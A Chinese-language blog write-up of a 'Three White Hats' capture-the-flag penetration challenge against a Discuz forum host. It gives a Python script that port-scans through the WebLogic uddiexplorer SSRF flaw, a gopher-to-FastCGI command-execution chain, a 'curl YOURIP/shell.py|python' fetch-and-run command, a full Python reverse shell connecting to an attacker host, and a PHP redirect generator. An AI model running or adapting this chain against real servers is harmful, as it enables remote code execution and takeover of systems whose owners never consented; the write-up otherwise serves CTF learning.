Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 三个白帽-寻找来自星星的你-第一期

挑战介绍

来自星星的你被我给丢了,我可能需要用我所有的一切才能把你找回,编了两句就编不下去了,好吧,我承认这是一期渗透题,就是这么直接。

挑战目标

http://0761e975dda0c67cb.jie.sangebaimao.com/

0x01 信息收集

打開地址,是一個dz論壇。似乎不怎麼好玩啊,還是最新版本的。

既然是滲透了,感覺祭出大殺器“掃描目錄”!(字典才是關鍵)

很快就get到關鍵信息了(排除dz原有的目錄及頁面)

/info.php
/uddiexplorer/

一個是phpinfo()信息,很有用處的。

/opt/discuz/info.php

另一個是weblogic的東西。

果斷百度“uddiexplorer 漏洞”,馬上可以知道weblogic uddiexplorer存在SSRF漏洞。

這次滲透的關鍵就在於SSRF!!!

利用漏洞

SSRF並不只是搞內網,結合三個白帽的結界docker,搞127.0.0.1才是王道!

萬能的百度啊,搜索關鍵字“SearchPublicRegistries ssrf 漏洞 exp”

得到http://www.tuicool.com/articles/UjaqIbz

得到一個腳本,自己修改一下拿來用!!!

端口掃描.py

#!/usr/bin/env python  
# -*- coding: utf-8 -*-

import re
import requests

def scan(ip_str):
    url = 'http://0761e975dda0c67cb.jie.sangebaimao.com'
    ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',)
    for port in ports:
        exp_url = url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str, port)
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)
            re_sult2 = re.findall('but could not connect',response.content)
            if len(re_sult1)!=0 and len(re_sult2)==0:
                print ip_str+':'+port
        except Exception, e:
            pass

if __name__ == "__main__":
    scan('127.0.0.1')

成功破出22,80,3306,7001,9000等端口。

SSRF+GOPHER一直都很牛逼,最近更是火熱。

還是百度~~

rr菊苣最新文章《Do Evil Things with gopher://》

0x03 攻击 FastCGI
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
0x06 参考
PHP FastCGI 的远程利用

命令執行

下載fcgi_exp

運行

nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"

php -f gopher.php

把payload保存到x.txt

反彈shell的黑科技,bash反彈無效~~

然後urlencode編碼payload生成ssrf.php

shell.py

import socket,subprocess,os  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("yourip",9999))  
os.dup2(s.fileno(),0)  
os.dup2(s.fileno(),1)  
os.dup2(s.fileno(),2)  
p=subprocess.call(["/bin/bash","-i"]);

gopher.php

<?php
$p = str_replace("+", "%20", urlencode(file_get_contents("x.txt")));
file_put_contents("ssrf.php", "<?php header('Location: gopher://127.0.0.1:9000/_".$p."');?>");
?>

成功生成了利用文件ssrf.php

反彈shell

VPS運行

nc -lvv 9999

利用SSRF

http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php

成功反彈~~~

GETFLAG

自己找吧

本文标题 : 三个白帽-寻找来自星星的你-第一期
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2016/06/06/three_white_hats_find_you_from_star_first.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~